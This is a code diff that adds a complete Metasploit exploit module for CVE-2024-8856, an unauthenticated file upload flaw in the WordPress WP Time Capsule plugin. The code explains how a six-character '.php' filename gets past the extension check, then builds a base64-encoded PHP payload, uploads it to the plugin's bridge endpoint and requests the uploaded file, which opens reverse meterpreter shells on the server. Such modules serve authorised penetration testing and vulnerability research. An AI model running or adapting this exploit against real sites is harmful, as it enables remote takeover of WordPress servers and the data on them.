|
| 1 | +## |
| 2 | +# This module requires Metasploit: https://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +class MetasploitModule < Msf::Exploit::Remote |
| 7 | + Rank = ExcellentRanking |
| 8 | + |
| 9 | + include Msf::Payload::Php |
| 10 | + include Msf::Exploit::FileDropper |
| 11 | + include Msf::Exploit::Remote::HttpClient |
| 12 | + include Msf::Exploit::Remote::HTTP::Wordpress |
| 13 | + |
| 14 | + prepend Msf::Exploit::Remote::AutoCheck |
| 15 | + |
| 16 | + def initialize(info = {}) |
| 17 | + super( |
| 18 | + update_info( |
| 19 | + info, |
| 20 | + 'Name' => 'WordPress WP Time Capsule Arbitrary File Upload to RCE', |
| 21 | + 'Description' => %q{ |
| 22 | + This module exploits an arbitrary file upload vulnerability in the WordPress WP Time Capsule plugin |
| 23 | + (versions <= 1.22.21). The vulnerability allows uploading a malicious PHP file to achieve remote |
| 24 | + code execution (RCE). |
| 25 | +
|
| 26 | + The validation logic in the vulnerable function improperly checks for allowed extensions. |
| 27 | + If no valid extension is found, the check can be bypassed by using a filename of specific length |
| 28 | + (e.g., "00.php") matching the length of allowed extensions like ".crypt". |
| 29 | + }, |
| 30 | + 'Author' => [ |
| 31 | + 'Valentin Lobstein', # Metasploit module |
| 32 | + 'Rein Daelman' # Vulnerability discovery |
| 33 | + ], |
| 34 | + 'References' => [ |
| 35 | + ['CVE', '2024-8856'], |
| 36 | + ['URL', 'https://hacked.be/posts/CVE-2024-8856'], |
| 37 | + ['URL', 'https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/wp-time-capsule/backup-and-staging-by-wp-time-capsule-12221-unauthenticated-arbitrary-file-upload'] |
| 38 | + ], |
| 39 | + 'License' => MSF_LICENSE, |
| 40 | + 'Privileged' => false, |
| 41 | + 'Platform' => %w[php unix linux win], |
| 42 | + 'Arch' => [ARCH_PHP, ARCH_CMD], |
| 43 | + 'Targets' => [ |
| 44 | + [ |
| 45 | + 'PHP In-Memory', { |
| 46 | + 'Platform' => 'php', |
| 47 | + 'Arch' => ARCH_PHP |
| 48 | + # tested with php/meterpreter/reverse_tcp |
| 49 | + } |
| 50 | + ], |
| 51 | + [ |
| 52 | + 'Unix/Linux Command Shell', { |
| 53 | + 'Platform' => %w[unix linux], |
| 54 | + 'Arch' => ARCH_CMD |
| 55 | + # tested with cmd/linux/http/x64/meterpreter/reverse_tcp |
| 56 | + } |
| 57 | + ], |
| 58 | + [ |
| 59 | + 'Windows Command Shell', { |
| 60 | + 'Platform' => 'win', |
| 61 | + 'Arch' => ARCH_CMD |
| 62 | + # tested with cmd/windows/http/x64/meterpreter/reverse_tcp |
| 63 | + } |
| 64 | + ] |
| 65 | + ], |
| 66 | + 'DefaultTarget' => 0, |
| 67 | + 'DisclosureDate' => '2024-11-15', |
| 68 | + 'Notes' => { |
| 69 | + 'Stability' => [CRASH_SAFE], |
| 70 | + 'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS], |
| 71 | + 'Reliability' => [REPEATABLE_SESSION] |
| 72 | + } |
| 73 | + ) |
| 74 | + ) |
| 75 | + end |
| 76 | + |
| 77 | + def php_exec_cmd(encoded_payload) |
| 78 | + dis = '$' + Rex::RandomIdentifier::Generator.new.generate |
| 79 | + b64_encoded_payload = Rex::Text.encode_base64(encoded_payload) |
| 80 | + shell = <<-END_OF_PHP_CODE |
| 81 | + #{php_preamble(disabled_varname: dis)} |
| 82 | + $cmd = base64_decode("#{b64_encoded_payload}"); |
| 83 | + #{php_system_block(cmd_varname: '$cmd', disabled_varname: dis)} |
| 84 | + END_OF_PHP_CODE |
| 85 | + |
| 86 | + return Rex::Text.compress(shell) |
| 87 | + end |
| 88 | + |
| 89 | + def check |
| 90 | + return CheckCode::Unknown('The WordPress site does not appear to be online.') unless wordpress_and_online? |
| 91 | + |
| 92 | + plugin_check = check_plugin_version_from_readme('wp-time-capsule', '1.22.22') |
| 93 | + case plugin_check.code |
| 94 | + when 'appears' |
| 95 | + return CheckCode::Appears('WP Time Capsule plugin appears to be vulnerable.') |
| 96 | + when 'safe' |
| 97 | + return CheckCode::Safe('WP Time Capsule plugin is patched or not vulnerable.') |
| 98 | + end |
| 99 | + |
| 100 | + CheckCode::Unknown('No vulnerable plugins were detected.') |
| 101 | + end |
| 102 | + |
| 103 | + def exploit |
| 104 | + base_path = normalize_uri(target_uri.path, 'wp-content', 'plugins', 'wp-time-capsule', 'wp-tcapsule-bridge', 'upload', 'php') |
| 105 | + upload_path = normalize_uri(base_path, 'index.php') |
| 106 | + |
| 107 | + # Generate random filename matching constraints (6 characters total, ending in .php) |
| 108 | + filename_prefix = Rex::Text.rand_text_alphanumeric(2) |
| 109 | + payload_name = "#{filename_prefix}.php" |
| 110 | + |
| 111 | + random_mime_type = Faker::File.mime_type |
| 112 | + |
| 113 | + phped_payload = target['Arch'] == ARCH_PHP ? payload.encoded : php_exec_cmd(payload.encoded) |
| 114 | + b64_payload = '<?php ' + framework.encoders.create('php/base64').encode(phped_payload) |
| 115 | + |
| 116 | + register_files_for_cleanup(payload_name) |
| 117 | + |
| 118 | + vprint_status("Uploading payload: #{payload_name} with MIME type: #{random_mime_type}...") |
| 119 | + |
| 120 | + mime = Rex::MIME::Message.new |
| 121 | + mime.add_part(b64_payload, random_mime_type, nil, "form-data; name=files; filename=#{payload_name}") |
| 122 | + |
| 123 | + res = send_request_cgi( |
| 124 | + 'method' => 'POST', |
| 125 | + 'uri' => upload_path, |
| 126 | + 'ctype' => 'multipart/form-data; boundary=' + mime.bound, |
| 127 | + 'data' => mime.to_s |
| 128 | + ) |
| 129 | + |
| 130 | + unless res&.code == 200 |
| 131 | + fail_with(Failure::UnexpectedReply, 'Non-200 HTTP response received while trying to upload payload') |
| 132 | + end |
| 133 | + |
| 134 | + vprint_good('Payload uploaded successfully. Parsing response...') |
| 135 | + |
| 136 | + json_response = res.get_json_document |
| 137 | + url = json_response.dig('files', 0, 'url') |
| 138 | + |
| 139 | + fail_with(Failure::UnexpectedReply, "Failed to extract URL from response. Response body: #{res.body}") if url.nil? |
| 140 | + |
| 141 | + vprint_status("Triggering the payload at: #{url}") |
| 142 | + send_request_cgi( |
| 143 | + 'method' => 'GET', |
| 144 | + 'uri' => URI(url).path |
| 145 | + ) |
| 146 | + end |
| 147 | +end |
0 commit comments